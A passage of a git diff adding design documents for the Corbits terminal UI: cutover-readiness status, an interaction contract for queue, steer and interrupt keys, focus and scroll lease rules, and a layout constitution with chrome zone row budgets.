test (`markdown-rows.test.ts:126`). Residual flicker is + reported but not characterized. + +## Orphaned modules + +The renderer rewrite moved most of the former `src/tui` platform code into +`src/tui-opentui`. What is genuinely unreferenced by any production path today: + +- `src/tui/kill-ring.ts` — superseded by `src/tui-opentui/prompt-kill-ring.ts`. +- `src/tui-opentui/provider-connect.ts` — the unmounted re-auth surface above. +- `src/tui-opentui/demo.ts`, `smoke.ts`, `harness.ts` — developer entry points, not + product code. +- `src/tui-opentui/observe-map.ts` — observe mapping now lives in `runner-host.ts` + (`observeSessionFromSubAgents`, line 187). + +Everything else the previous revision listed as orphaned has since been either +rewired or deleted. This list was regenerated mechanically on 2026-08-06 by +resolving every `src/tui/**` and `src/tui-opentui/**` module against its +non-test importers; regenerate it the same way rather than editing it by hand. + +## Closed since the last revision + +Kept only so a reader who saw the previous revision does not re-file these. All +were verified fixed on 2026-08-06. + +| Was claimed | Actual state | +|---|---| +| Built-in slash commands are not registered | `runner.ts:84` imports `registerBuiltInCommands`; `runner.ts:351` calls it inside `setUpCommandRegistry`, which `runner.ts:398` invokes. All 15 built-ins register, including `hooks`. | +| Typed `/` commands do not parse and are sent to the model | `runner.ts:271-272` intercepts the leading `/`; `shell.ts` opens a completion list at an empty prompt (see the `/` row in `keybindings.ts`). | +| `@`-mention resolution is unwired | `ingestPathMentions` at `runner.ts:1821`, `resolveAtMentions` at `runner.ts:1822`, `setMentionSuggestionSource` at `runner.ts:2099`. | +| Image attachments are gone; `/paste-image` reports "not available" | `runner.ts:1799` routes `paste-image` to `attachClipboardImage`; `readClipboardImage` feeds `shell.pendingAttachments` (`shell.ts:824`), bound to Ctrl+V and Ctrl+P. | +| Help catalog documents Ctrl+D as "delete character under cursor" | `keybindings.ts:28` documents Ctrl+D as Quit. | +| There is no exit-confirm step | Ctrl+C arms a 2-second exit window and quits on a second press (`CTRL_C_EXIT_WINDOW_MS`, `shell.ts:3843`). | +| `quota-retry.ts` / `stall-watchdog.ts` have no production importer | Both moved to `src/tui-opentui/` and are imported by `runtime-bridge.ts:35,40`; `product-host.ts:232` opts the host into their timers. | +| Sent-message history recall is unimplemented | `shell.ts:45` imports `src/tui/sent-message-history.ts`; `runner.ts` appends every sent prompt and Up/Down recall is in the help catalog. | +| Plugins manager is an enable/disable toggle only | `command-surfaces.ts` carries a credential-entry pane (`openCredentialsPane`, line 562), trust state, and a web-provider override. | +| Two dozen `src/tui` modules are orphaned | Regenerated; see §Orphaned modules. Four modules remain. | + +## Size matrix + +| Platform | Role | How to run | +|----------|------|------------| +| macOS (darwin) | Primary interactive | run `corbits` in a real TTY at 80×24 and 120×40 | +| Linux CI | Headless gate | `bun test ./src/tui-opentui` — `@opentui/core` test renderer, no TTY | +| Geometry pure | Any | `geometry.test.ts` — no `process.stdout`; explicit columns/rows | + +**Floors (constitution)** + +- Idle closed overlay: transcript ≥ 12 on 80×24 +- Inset overlay open: transcript ≥ 8 +- Residual rows accrue to transcript, not chrome + +Manual checklist — **not yet signed off by an operator**: + +- [ ] 80×24 idle: status visible; prompt not clipped +- [ ] 80×24 permissions open: list scrollable; Esc restores +- [ ] 80×24 palette over permissions: Esc ×2 restores prompt +- [ ] 120×40: extra rows land in transcript +- [ ] Observe enter/leave: parent stream restored +- [ ] Ctrl+D quits cleanly; Ctrl+C interrupts a run, and twice in a row exits +- [ ] Resize mid-session leaves no ghost rows +- [ ] Paste multi-line text into the prompt (CL-5541) +- [ ] Drag-select and copy transcript text with the mouse; `Alt+M` restores click-to-expand (CL-5540) + +## Related + +- Plan: `docs/plans/tui-layout-scroll-platform.md` (§5, §7, §10, §12) +- Cutover policy: `docs/tui-migration-cutover.md` +- Constitution: `docs/tui-layout-constitution.md` +- Interaction contract: `docs/tui-interaction-contract.md` +- Code: `src/tui-opentui/**`, `src/tui/runner.ts` diff --git a/docs/tui-ink-freeze.md b/docs/tui-ink-freeze.md new file mode 100644 index 000000000..bbe943106 --- /dev/null +++ b/docs/tui-ink-freeze.md @@ -0,0 +1,5 @@ +# Ink freeze policy (superseded) + +**Status:** historical — Ink has been deleted from the repo; the OpenTUI cutover is complete. + +This document described the freeze rules that governed changes to the Ink-based TUI during the OpenTUI migration. The Ink/React tree no longer exists in this repo (no `.tsx` files remain), so the policy no longer applies. See `docs/tui-cutover-readiness.md` for the current state of the OpenTUI shell. diff --git a/docs/tui-interaction-contract.md b/docs/tui-interaction-contract.md new file mode 100644 index 000000000..c3cc49608 --- /dev/null +++ b/docs/tui-interaction-contract.md @@ -0,0 +1,341 @@ +# TUI interaction contract + +**Status:** constitution (locked product bindings + implementable focus/scroll design) +**Source plan:** `docs/plans/tui-layout-scroll-platform.md` §5, §12 +**Product brief:** `briefs/tui-rebuild-opentui.md` +**Siblings:** `docs/tui-layout-constitution.md`, `docs/tui-cutover-readiness.md` + +This document is the interaction constitution for the OpenTUI shell. It locks mid-run send semantics, discovery chords, focus ownership, and scroll lease rules so implementers do not re-open product decisions or invent focus/scroll races. + +The cutover has landed and OpenTUI is the shipping renderer, but not every binding below is implemented — `docs/tui-cutover-readiness.md` records which ones are missing (Shift+Tab, and Shift+Enter on terminals that do not report the modifier) and where runtime behavior deviates (Ctrl+D quits outright; Ctrl+C interrupts, and quits only on a second press inside a two-second window). + +--- + +## 1. Purpose + +Operators abandon tools that fight them mid-stream. Corbits today inverts market-leader muscle memory (Enter interrupts; Alt+Enter queues) and splits discovery across slash, help, and tribal knowledge. Multiple scroll hooks and boolean focus flags race keys and wheel. + +This contract fixes the **operator-facing** half of that failure class: + +1. Mid-run send is **queue-default**; interrupt is loud and rare. +2. One discovery chord owns the command palette. +3. Exactly one focus owner and one scroll lease at a time; Esc always pops something real. + +Geometry budgets and long-log window sizes live in sibling constitution docs. This file owns **keys, queue/steer/interrupt, focus tree, and scroll lease**. + +--- + +## 2. Locked binding table + +Do not reopen these product decisions. They match the plan’s locked table. + +| Intent | Binding | Notes | +|---|---|---| +| Queue message mid-run | **Enter** (agent busy, non-empty submit) | Badge count on prompt; does **not** stop the agent | +| Steer ASAP | **Alt+Enter** | Deliver at next **tool boundary** | +| Interrupt now | **Ctrl+C** | Hard stop current run; must not be plain Enter | +| Command palette | **Ctrl+O** | Reclaim from today’s tool-expand chord | +| Help / keymap | Palette entry + `/help` | Tables must match handlers | +| Copy path | **Alt+C** (existing direction) | Message / tool / diff; not mouse-drag | +| Expand a collapsed body | **e** | One idiom: collapsed approval payloads while the overlay owns focus, collapsed skill rows while the transcript does | +| Esc | Pop focus stack | Overlay → prior focus; never silent no-op | +| Wheel | Active scroll lease only | Transcript wheel off when modal owns lease | +| Newline in prompt | **Shift+Enter** (Alt+Enter when idle if terminal maps it) | Mid-run Alt+Enter is steer, not newline | + +**No legacy toggle** for “Enter interrupts” in v1. Educate once via hint line + release note. + +--- + +## 3. Queue, steer, interrupt + +### 3.1 Definitions + +| Term | Meaning | +|---|---| +| **Idle** | No in-flight parent inference/tool work and no running child agent work that blocks drain | +| **Busy** | Parent run active and/or child work that holds the drain gate | +| **Queue** | Operator message accepted while busy; stored for later delivery; agent continues | +| **Steer** | Operator message accepted while busy; marked priority for ASAP delivery at the next tool boundary | +| **Interrupt** | Abort the current run immediately; discard pending deliveries; do not auto-replay the stopped turn | +| **Tool boundary** | ASAP safe injection point: after a tool result lands (`tool.done` / equivalent), before the next inference that would otherwise continue the prior plan; also when the run reaches true idle if no earlier boundary fired | + +### 3.2 Enter — queue (default mid-run send) + +When the agent is **busy** and the prompt has a submittable payload: + +1. Enter enqueues the message (FIFO among queue-class items). +2. Prompt clears; badge increments. +3. The running agent is **not** stopped, aborted, or re-prompted. +4. Delivery waits for a **tool boundary** (or idle if the run ends without tools). + +When **idle**, Enter is normal send (immediate delivery), same as today for an idle prompt. + +Empty Enter is a no-op (no phantom queue entry). Slash commands still dispatch immediately when the field starts with `/` (busy or idle); they are not queued as chat. + +### 3.3 Alt+Enter — steer + +When the agent is **busy** and the prompt has a submittable payload: + +1. Alt+Enter accepts a **steer** item (priority class). +2. Prompt clears; badge increments (same badge pool as queue unless UI later splits counts). +3. The agent is **not** hard-stopped. +4. At the next **tool boundary**, steer items drain **before** any plain queue items. + +When **idle**, Alt+Enter is not a second send path: treat as newline if the terminal delivers meta+return that way, otherwise no-op for empty fields. Steer only exists while busy. + +### 3.4 Ctrl+C — interrupt + +While a run is active (parent busy, including entered-subagent observe of a running parent/child session as implemented by the shell): + +1. Ctrl+C **interrupts** the current run (hard stop / `requestStop` class). +2. All pending queue **and** steer items are **discarded**. +3. In-flight tools settle to a terminal stopped state; no silent no-op. +4. Hint line and keymap must name this as stop/interrupt, not “exit”. + +When **idle**: + +- Non-empty prompt: clear the prompt (or existing clear-input path). +- Empty prompt: existing exit-with-confirm path (app quit is not interrupt). + +Interrupt must never be bound to plain Enter. + +### 3.5 Queue vs steer priority (locked micro-semantics) + +When both classes are pending at a tool boundary: + +1. Drain **all steer items first**, oldest-first (FIFO within steer). +2. Then drain **queue items**, oldest-first (FIFO within queue). +3. Drain **one message per boundary** into a new turn (same “one outbound send at a time” rule as today’s drain), unless an implementer proves multi-inject is safe under the reactor — default is **one per boundary**. +4. After that send starts, further pending items wait for the next boundary or idle. + +Rationale: steer is “ASAP course correction”; queue is “when you get a chance.” Mixing them in a single FIFO would bury steers behind earlier casual queues. + +### 3.6 Drain policy + +| Event | Drain action | +|---|---| +| Tool boundary while busy | Prefer steer head, else queue head; one item | +| Run becomes idle (no child work holding gate) | Drain remaining steers then queues, one at a time as each send completes | +| Interrupt (Ctrl+C) | Clear both classes; badge → 0 | +| New session / clear session | Clear both classes | +| Permission / operator modal open | **Do not** inject mid-modal; boundary waits until the run can accept a user message again | + +Drain is **tool-boundary**, not “only full idle.” Waiting only for `connector.reply` / full turn idle is the **current** behavior and is insufficient for the target. + +### 3.7 Badge and clear minimum + +**Badge** + +- Show a single count of pending deliveries: `steer_count + queue_count`. +- When count > 0, prompt chrome includes the count (e.g. `3 queued`). +- Optional later: split `1 steer · 2 queued`; not required for v1. + +**Clear (minimum)** + +| Action | Behavior | +|---|---| +| Clear last | Drop the most recently accepted pending item (steer or queue, by enqueue time) | +| Clear all | Drop every pending item; badge → 0 | +| Interrupt | Implies clear all | + +Discovery: palette entries “Clear last queued” / “Clear all queued” are required for v1 discoverability. A prompt-local chord may be added later; do not steal Esc (Esc is focus-stack only). + +Editing an in-place queued item (reorder, rewrite) is **deferred**; clear last + retype is enough for v1. + +### 3.8 Hint line truth + +While busy, the action/hint line **must** name all three intents in operator language, for example: + +`Enter queue · Alt+Enter steer · Ctrl+C stop` + +When pending count > 0, prefix the count. Empty-field busy state still shows the chords (discoverability without typing). Help overlay, keymap table, and palette descriptions must match these bindings — one source of truth table feeds all three surfaces. + +--- + +## 4. Command palette (Ctrl+O) + +| Rule | Detail | +|---|---| +| Chord | **Ctrl+O** opens the command palette | +| Scope | Searchable actions: slash twins, panels, model/settings/permissions entry, queue clear, help | +| Reclaim | Tool-output expand **must not** keep Ctrl+O. Expand moves to a dedicated non-palette chord later (candidate: keep tool-row local expand / dedicated binding — **not** Ctrl+O). OpenTUI shell (`src/tui-opentui`) implements Ctrl+O → palette as of Wave 6. Residual surfaces (settings/help/plugins/resume/mentions) and observe are palette actions as of Wave 7. | +| Esc | Closes palette and restores prior focus (normally prompt; if palette stacked over a primary overlay, Esc restores that overlay first). Esc while observing a subagent leaves observe and restores the parent stream + lease. | +| Slash | Remains a power path; every user-facing slash entry has a palette twin | +| Stack | Palette may open above an existing primary overlay (permissions / operator / model). Esc pops one frame at a time. | + +Palette open takes the **palette** focus target (overlay priority slot) and the scroll lease for its own list. + +--- + +## 5. Focus tree + +### 5.1 Priority (high → low) + +``` + ┌─────────────────────┐ + │ Overlay host │ palette, permission, help, + │ (modal / manager) │ settings, operator question, … + └──────────┬──────────┘ + │ Esc pops + ┌──────────▼──────────┐ + │ Entered subagent │ observe child session + │ observe view │ + └──────────┬──────────┘ + │ Esc leaves observe + ┌──────────▼──────────┐ + │ Shell │ prompt + transcript (+ thin strips) + │ default focus: │ prompt owns typing; + │ prompt │ transcript owns scroll when leased + └─────────────────────┘ +``` + +### 5.2 Rules + +1. **Exactly one focus owner** receives non-reserved keys at a time. +2. **Overlay host** always wins over subagent observe and shell. +3. **Entered subagent** wins over shell; parent prompt does not steal typing while observing. +4. **Shell default** is the prompt field. Transcript is not a separate “mode” for typing; it holds the scroll lease when no overlay/subagent list owns it. +5. **Esc** pops exactly one level: + - Overlay → previous focus (usually prompt; if observe was under an overlay, restore observe). + - Observe → parent shell (prompt focused). + - Shell with open thin panel (tasks/hooks strip expanded) → collapse panel, stay on prompt. + - Shell with empty stack → existing clear-prompt / no-op policy (never a silent dead key when something is dismissible). +6. Opening B while A is open either **replaces** A or **stacks** A under B; either way Esc returns along a single path to the prompt. No orphan focus. +7. Closing any overlay **restores** the focus node recorded on open (not a hardcoded “always prompt” if observe was active underneath — restore the recorded prior). + +### 5.3 Focus vs global chords + +These chords are handled at the shell/keymap layer even when the prompt is not the text owner, unless an overlay fully captures input for its own confirm flow: + +| Chord | When overlay open | When observe open | When shell | +|---|---|---|---| +| Esc | Pop overlay | Leave observe | Pop panel / clear policy | +| Ctrl+C | Overlay-local cancel if any; else interrupt/exit policy | Interrupt if running; else exit policy | Interrupt if running; else clear/exit | +| Ctrl+O | Close or replace with palette (single stack) | Open palette above observe | Open palette | +| Wheel / PgUp / PgDn | Active lease only | Child transcript lease | Shell transcript lease | + +--- + +## 6. Scroll lease + +### 6.1 One owner + +At any moment exactly one surface holds the **scroll lease**. Keyboard page/line scroll **and** mouse wheel both follow that lease. There is no parallel “wheel on transcript while keys scroll a modal.” + +### 6.2 Lease assignment (high → low) + +| Priority | Surface | When | +|---|---|---| +| 1 | Overlay list / body | Overlay host focused (permissions, palette, settings, help, …) | +| 2 | Entered subagent transcript | Observe view active, no overlay | +| 3 | Prompt internal window | Prompt multi-line content overflows **and** caret navigation needs in-prompt scroll; short-lived, returns to transcript when not needed | +| 4 | Main transcript | Default shell lease | + +Agents strip horizontal navigation is not a vertical scroll lease. + +### 6.3 Rules + +1. **Grant:** focus enter on a scrollable surface grants the lease; previous owner releases. +2. **Release:** focus leave restores the prior lease from the focus stack. +3. **Wheel:** ignored by non-lease surfaces (no dual-scroll). +4. **Follow vs pin (transcript):** auto-follow while at bottom; operator scroll-up pins; show a clear “follow live” / jump-to-bottom affordance; reattach restores follow. +5. **Modal open:** transcript does not consume wheel or page keys; list kit owns them. +6. **Subagent observe:** child transcript has its own offset; Esc restores parent lease and parent offset (parent must not jump to bottom solely because observe closed unless parent was already following). + +### 6.4 Implementer checklist + +- [ ] Single lease token in shell state (not N independent hooks fighting `useInput`). +- [ ] List viewport kit used by palette, permissions, agents, settings (shared windowing + keep-active-visible). +- [ ] Mouse scroll gated on lease id. +- [ ] Tests: modal open → wheel does not move transcript; Esc → transcript lease restored; observe Esc → parent offset stable. + +--- + +## 7. Historical: Ink vs this contract + +The Ink shell has been deleted. This table is kept only to explain why the current +bindings differ from muscle memory built on the old shell. + +| Concern | Old (Ink) | Target (this contract) | +|---|---|---| +| Enter while busy | Interrupt + send (`steerOnEnter` path) | **Queue** (no stop) | +| Alt+Enter while busy | Queue follow-up | **Steer** at tool boundary | +| Interrupt chord | Enter (busy) / Ctrl+C also stops | **Ctrl+C** only for hard stop | +| Queue drain | Idle / `connector.reply` when not processing | **Tool boundary** ASAP | +| Ctrl+O | Expand tool output (visible area) | **Command palette** | +| Ctrl+C idle | Clear input or exit confirm | Unchanged family (clear / exit confirm) | +| Focus | Boolean soup + per-modal `useInput` | Focus tree + restore stack | +| Scroll | N owners (`use-scroll`, windows, modal slices) | One lease | +| Hint line | “Enter steer · Alt+Enter queue” | “Enter queue · Alt+Enter steer · Ctrl+C stop” | +| Keymap help | Ctrl+O = expand tool; Ctrl+C = exit | Must match target table | + +Breaking change is intentional. No compatibility toggle in v1. + +--- + +## 8. Acceptance scenarios + +These are the operator-visible checks for this contract (subset of the plan acceptance corpus). + +### A. Queue mid-run + +1. Start a long-running agent turn with tools. +2. Type a follow-up; press **Enter**. +3. Expect: badge ≥ 1; agent continues; no abort. +4. At next tool boundary (or idle), queued message delivers as a new user turn. + +### B. Steer mid-run + +1. While busy, type a correction; press **Alt+Enter**. +2. Expect: badge increments; agent not hard-stopped. +3. At next tool boundary, steer delivers **before** any earlier plain-queue items still pending. + +### C. Queue vs steer priority + +1. While busy: Enter message A (queue), then Alt+Enter message B (steer). +2. At the next boundary: B delivers first; A remains pending (or delivers on a later boundary after B’s turn starts). + +### D. Interrupt + +1. While busy (with or without pending items), press **Ctrl+C**. +2. Expect: run stops; badge → 0; pending discarded; no silent no-op. +3. Plain Enter never interrupts. + +### E. Palette + +1. **Ctrl+O** opens palette. +2. Find permissions (or model); open it; **Esc** returns focus to prompt (or prior focus). +3. Ctrl+O does not expand tool output. + +### F. Focus + scroll lease + +1. Open a tall permission/options list; wheel/page only moves the list. +2. Esc closes; transcript lease restored; prompt accepts typing. +3. Enter subagent observe; scroll child log; Esc → parent; parent lease restored. + +### G. Hint / help truth + +1. While busy, hint line names queue, steer, and stop with the locked chords. +2. Help/keymap/palette copy matches the locked table. + +--- + +## 9. Non-goals (this contract) + +- Keymap settings editor / user remap UI (discoverable fixed map first). +- Amp-style selective reorder of queue items beyond clear last / clear all. +- Multi-message inject at a single boundary. +- Mouse click-to-focus everywhere. + +--- + +## 10. Related docs + +| Doc | Owns | +|---|---| +| `docs/plans/tui-layout-scroll-platform.md` | Plan + locked decisions source | +| `briefs/tui-rebuild-opentui.md` | Product intent and acceptance narrative | +| `docs/tui-layout-constitution.md` | Chrome budget, geometry ownership | +| `docs/tui-cutover-readiness.md` | Post-cutover state: which bindings are implemented, which are not | + +When implementation lands, the keymap truth table, hint line, and palette labels must be generated from or checked against **this** binding table so help cannot drift again. diff --git a/docs/tui-layout-constitution.md b/docs/tui-layout-constitution.md new file mode 100644 index 000000000..5a6ea4f1e --- /dev/null +++ b/docs/tui-layout-constitution.md @@ -0,0 +1,284 @@ +# TUI layout constitution + +**Status:** locked for Platform wave (OpenTUI rebuild) +**Scope:** layout principles, chrome zone registry, geometry contract, kill list +**Not this doc:** keybindings and mid-run semantics (`docs/tui-interaction-contract.md`), Ink freeze policy (`docs/tui-ink-freeze.md`), migration cutover (`docs/tui-migration-cutover.md`) + +This constitution is the implementer contract for shell geometry on the OpenTUI migration branch. Product direction and epic sequencing live in `briefs/tui-rebuild-opentui.md` and `docs/plans/tui-layout-scroll-platform.md`. Do not reopen locked product decisions here. + +--- + +## 1. Purpose + +The Corbits Code TUI fails today as a **systems** problem: guessed row budgets, dual height owners (manual subtraction vs paint flex), dual overlay stacks, and unbounded optional chrome that starves the event log. + +This document locks: + +1. Layout principles every surface must obey. +2. A chrome zone registry with row budgets and collapse rules. +3. A single geometry contract (who measures, who owns residual height). +4. A kill list of patterns that must not reappear on OpenTUI. + +Implementers without external ticket context should still be able to build shell, geometry, and chrome zones from this file alone. + +--- + +## 2. Principles + +These are hard contracts, not preferences. + +1. **Transcript pays the rent.** Fixed chrome stays thin. Dense UI is modal or collapsed by default. Optional strips never stack without bound. +2. **Measure, do not guess.** One layout owner produces region rects. Leaf components consume those rects. They do not invent heights or subtract magic constants from terminal size. +3. **One geometry equation.** Paint and reservation use the same measured heights. Parallel “hook math” that can drift from the paint tree is forbidden. +4. **Residual transcript.** After fixed chrome, optional chrome (within budget), and the active overlay region are accounted for, remaining height belongs to the transcript. The transcript is never reduced below the hard floor by optional chrome (see §4). +5. **One overlay host.** Blocking surfaces share one host and one height path. No second stack with separate row accounting. +6. **One scroll owner (lease) at a time.** Keyboard and wheel follow the same focus tree. Details of lease handoff live with focus design; layout only ensures each region has a well-defined rect to scroll inside. +7. **One list viewport kit.** Models, permissions, agents, approval options, settings lists share windowing, keep-active-visible, and page/jump. Layout provides the box; the kit fills it. +8. **Modals measure the remaining box.** Overlays size against the layout-owned overlay region (or full-shell modal mode), not against raw `stdout.rows`. +9. **Hard min transcript rows** on 24-row terminals; **chrome priority** when space is scarce (collapse order in §3.3). +10. **Platform before features.** No new permanent chrome zones until shell + geometry + registry land on the migration branch. +11. **Visual quiet (layout implication).** State via text and color density, not extra permanent rows of glyph chrome. +12. **Long log is a working set.** Only near-viewport content is fully expanded/rendered. Off-viewport material collapses. Numeric window size is set with long-log work, not ad hoc per surface. + +--- + +## 3. Chrome zone registry + +### 3.1 Reference terminal + +Budgets are validated against **80×24** as the hard floor and **120×40** as the common laptop size. macOS is primary; Linux is secondary; Windows does not block v1. + +**Non-negotiable:** on **80×24 idle** (no overlay, optional strips collapsed), the transcript region is **≥ 12 rows**. + +### 3.2 Zone table + +| Zone | Role | Idle target (rows) | Min | Max | Collapse / resize rules | Owner | +|---|---|---|---|---|---|---| +| **progress** | In-flight phase / workflow line | 0 when idle; 1–2 when active or workflow chip | 0 | 2 | **0** when inactive and no workflow chip. Shown only while agent is active or a workflow chip needs it. | Shell | +| **progress_divider** | Hairline above prompt stack | 0–1 | 0 | 1 | Present only when the prompt stack is painted as a distinct block. Prefer absorbing into prompt chrome if a hairline is free on OpenTUI. | Shell | +| **notice** | Transient state above the prompt: queue depth, interrupt latch, pinned scroll, a flash, the live turn's density ramp | 0 | 0 | 1 | Present only while a segment is off its default. Never a permanent strip and never a filled bar. | Shell | +| **prompt** | Bordered input (content + borders) | 3 base | 3 | Cap: **≤ 40% of terminal rows**, and never so large that transcript falls below floor when only prompt grows | Content growth **scrolls inside** the prompt box. Cap fraction is of full terminal height. Multi-line paste must not steal the log permanently. | Shell + prompt | +| **goal** | Goal / acceptance strip | 0 default | 0 | **1** collapsed; expanded dense detail → **modal** | Default collapsed or hidden. Implementing phase may show a compact 1-row chip. Full criteria lists are modal, not an unbounded strip. | Zone registry consumer | +| **task** | Work checklist strip | 0 default | 0 | **1** collapsed; expand → **modal** or temporary expand capped at **proposed 5** content rows then modal | Default off or 1-row summary. Full checklist is not a permanent multi-row tenant. | Zone registry consumer | +| **agents** | Orchestrator agents strip | 0 in single-agent; 0–1 collapsed in orchestrator | 0 | **1** collapsed; observe/expand → modal or dedicated region under overlay host | Single-agent sessions pay **0**. Orchestrator default is a thin strip, never a permanent multi-row roster. | Zone registry consumer | +| **plugin_banner** | Plugin / MCP auth / thin notices | 0 | 0 | **1** each class, dismissible or timed | Never stacks multiple multi-line plugin UIs into chrome. Dense plugin admin is overlay. | Shell banners | +| **command_banner** | Command feedback | 0 | 0 | **1–2**, short-lived | Auto-dismiss or Esc; not a permanent zone. | Shell banners | +| **settings_notice** | Settings diagnostics | 0 | 0 | **proposed ≤ 3** rows then collapse remainder into modal/settings | Multi-line dump of every diagnostic is forbidden in chrome. | Shell banners | +| **transcript** | Event log (residual) | **≥ 12** on 80×24 idle | **12** on 24-row idle; **proposed ≥ 8** when overlay open on 24-row | Remaining height | Always residual after higher-priority zones. Optional chrome may not push idle transcript below floor. | Geometry owner | +| **overlay_host** | Single modal / blocking surface | 0 when closed | 0 | Layout-owned region: **proposed ≤ 70% of terminal rows**, and never eliminates the prompt stack entirely on 24-row | One primary blocking overlay at a time. Open replaces or stacks with a single Esc path back to prompt. Height is measured for the active surface inside the host box (list kit + wrap measure), not a per-surface magic constant table outside the host. | Overlay host | + +**Proposed (not yet paint-proven) defaults** are marked **proposed**. Locked floors: progress 0 or 1–2, prompt exactly 3 (capped growth), notice 0–1, optional strips 0–1 collapsed, transcript ≥ 12 on 80×24 idle. + +There is no titlebar, no status strip and no key-hint row. The prompt box is the product: it is anchored at the bottom in every state and it is the *only* permanent chrome. Its border carries the metadata — the model label right-aligned in the top rule, the brand lockup at the left of the bottom rule and the working directory with git branch at its right — so both cost zero rows and the rule breaks around each label. Keys are discoverable from the landing screen and the command palette. No zone paints a full-width background fill. + +### 3.3 Chrome priority when space is scarce + +When `terminal.rows` cannot host all desired chrome without violating the transcript floor, collapse in this order (first cut first): + +1. Temporary banners (`command_banner`, timed notices) — drop or force-dismiss. +2. `settings_notice` / `plugin_banner` — collapse to 0 or single-line “N notices” chip. +3. Expanded `goal` / `task` / `agents` — force collapsed (0–1) or push dense content to modal. +4. `progress` — if idle, already 0; if active, prefer 1 row over 2. +5. `progress_divider` — drop if still short. +6. `notice` — last transient chrome to shrink (0 as soon as it has nothing to say). +7. `prompt` — never below 3; growth reclaims only via internal scroll (already capped). + +In full-shell modal mode the overlay carries its own keys in its title row; no chrome row survives for it. + +**Overlays:** opening a blocking overlay may shrink the transcript below the idle floor, but must leave a **proposed ≥ 8** row transcript (or hide transcript entirely only in full-shell modal mode, where the overlay owns the residual box and the prompt remains reachable on Esc). Full-shell modal mode is explicit (e.g. model picker, settings), not the default for thin permission prompts. + +### 3.4 Idle budget check (80×24) + +Example idle layout that satisfies the floor: + +| Zone | Rows | +|---|---| +| notice | 0 | +| prompt | 3 | +| optional strips | 0 | +| progress | 0 | +| **subtotal chrome** | **3** | +| **transcript residual** | **21** (≥ 12) | + +With progress (2) + thin agents strip (1): chrome 6 → transcript 18. Goal+task+agents all expanded as multi-row strips is **out of constitution** — those expansions must modalize or collapse under §3.3. + +### 3.5 Today vs target (Ink reference only) + +Ink ownership today (do not extend; do not reimplement on OpenTUI): + +| Concern | Today | Target | +|---|---|---| +| Fixed chrome | Constants in `src/tui/chrome-zones.ts` summed into a fixed chrome total | Declared zones in registry; measured or fixed-with-test | +| Variable chrome | `src/tui/chrome-geometry.ts` extra rows (goal, task, plugins, banners, prompt growth) | Same registry; collapse rules; dense → modal | +| Overlay height | Heuristics in `src/tui/hooks/use-layout-geometry.ts` | Overlay host measures content inside a layout-owned rect | +| Paint vs math | Flex grow **and** manual subtraction | One owner; paint consumes rects | +| Overlay stacks | Modal stack **and** overlay stack | One host | + +--- + +## 4. Geometry contract + +### 4.1 Single owner + +The **app shell geometry resolver** is the only module allowed to turn terminal size + zone declarations + overlay mode into region rects. + +| Input | Source | +|---|---| +| Terminal size | Runtime resize events (`columns`, `rows`) | +| Declared chrome zones | Zone registry (§3): fixed or measured heights | +| Optional zone visibility | Session state (goal active, tasks present, orchestrator mode, banners) | +| Overlay mode | Closed · inset (shrink transcript) · full-shell modal | +| Content measures | Prompt wrap height (capped); overlay body measure (list kit / wrap) | + +| Output | Meaning | +|---|---| +| Region rects | `{ x, y, width, height }` for transcript, prompt stack, notice, overlay host, and each active optional strip | +| Transcript residual height | Explicit; not re-derived in leaves | +| Scroll lease region | Which rect currently owns wheel/page keys (focus tree decides *who*; geometry provides *where*) | + +### 4.2 Forbidden in leaves + +Leaf components **must not**: + +- Read `process.stdout.rows` / columns and subtract magic constants. +- Maintain a private “overlay budget” table that other surfaces reuse incorrectly. +- Assume full terminal height for a modal without subtracting layout-owned chrome. +- Call `flexGrow` (or OpenTUI equivalent) in a way that competes with the residual transcript assignment. +- Grow optional chrome without going through the registry and collapse rules. + +### 4.3 Residual transcript equation + +Conceptual (implementation may use measured zone heights rather than a single sum of constants): + +```text +chromeHeight = sum(visible zone heights from registry, after collapse) +overlayHeight = 0 | measured overlay host region +transcriptHeight = terminal.rows - chromeHeight - overlayHeight + +assert transcriptHeight >= idleFloor when overlay closed and only allowed chrome +assert transcriptHeight >= overlayFloor when inset overlay (proposed ≥ 8 on 24-row) +``` + +`idleFloor` = **12** on 24-row terminals. On taller terminals, idle floor remains **12** minimum (do not spend extra rows on chrome by default; extra rows accrue to the transcript). + +**Proposed** on terminals shorter than 24: still attempt floor of `max(6, rows - maxChromeForTiny)` and refuse to open non-essential optional strips; exact tiny-terminal matrix is Bar work. + +### 4.4 Resize + +On every resize: + +1. Re-run the geometry resolver with new `columns` / `rows`. +2. Re-apply collapse rules if the transcript would breach the floor. +3. Re-measure overlay body within the new host rect (lists re-window; keep-active-visible). +4. No ghost lines: previous absolute paint outside the new rects is invalid — host clears/clips. + +Prompt base row count stays stable across resize; only wrap width and internal scroll change. + +### 4.5 Overlay host modes + +| Mode | Transcript | Prompt box | Use | +|---|---|---|---| +| **Closed** | Residual full | Visible | Default session | +| **Inset** | Shrinks; ≥ overlay floor | Visible | Permission, operator question, thin confirms | +| **Full-shell modal** | Hidden or minimal | Hidden or minimal; Esc restores | Model/settings/help-class managers | + +Exactly one primary blocking surface. Opening B while A is open either replaces A or pushes a stack with a single Esc path that always returns to the prompt. No orphan focus, no second geometry path. + +### 4.6 Prompt growth + +- Base bordered prompt: **3** rows (borders + one content line). +- Content may grow with wrap, **capped at 40% of terminal rows**. +- Growth is **internal scroll**, not unbounded chrome. +- Extra prompt rows count against chrome only up to the cap; they still cannot violate the transcript idle floor when no overlay is open — if both cannot be satisfied, prompt stays at base/internal scroll and does not expand further. + +### 4.7 Measurement rules + +- Prefer **measure after layout** (OpenTUI-native) over hand-maintained constant tables. +- Where a fixed height is used for a zone, it must be **fixed-with-test**: a unit or harness check fails if paint height drifts from the declared budget. +- Overlay bodies: measure wrapped text and list windows inside the host width; do not copy another surface’s row constant. +- Scroll units for the transcript must be based on **measured row heights** (or framework-owned scroll measurement), not virtual indices that change height under wrap. + +--- + +## 5. Kill list + +These patterns caused the current failure class. They **must not reappear** on OpenTUI. + +1. **Guessed fixed row tables that drift from paint** — constants that are not the same values the shell actually paints, with no test coupling them. +2. **Parallel geometry hook + paint tree heights** — two systems claiming the same vertical space (manual subtraction *and* flex residual). +3. **Absolute overlays without layout-owned clip** — surfaces positioned outside the geometry resolver’s rects. +4. **N independent scroll hooks without a lease** — each modal/list/log owning wheel and keys with no single focus/scroll owner. +5. **Unbounded stacked chrome with only `max(1, …)` as floor** — optional strips that grow until the log is unusable. +6. **Reusing one overlay budget for another surface** — e.g. settings height derived from permissions constants. +7. **Dual overlay stacks** — separate modal and overlay accounting paths. +8. 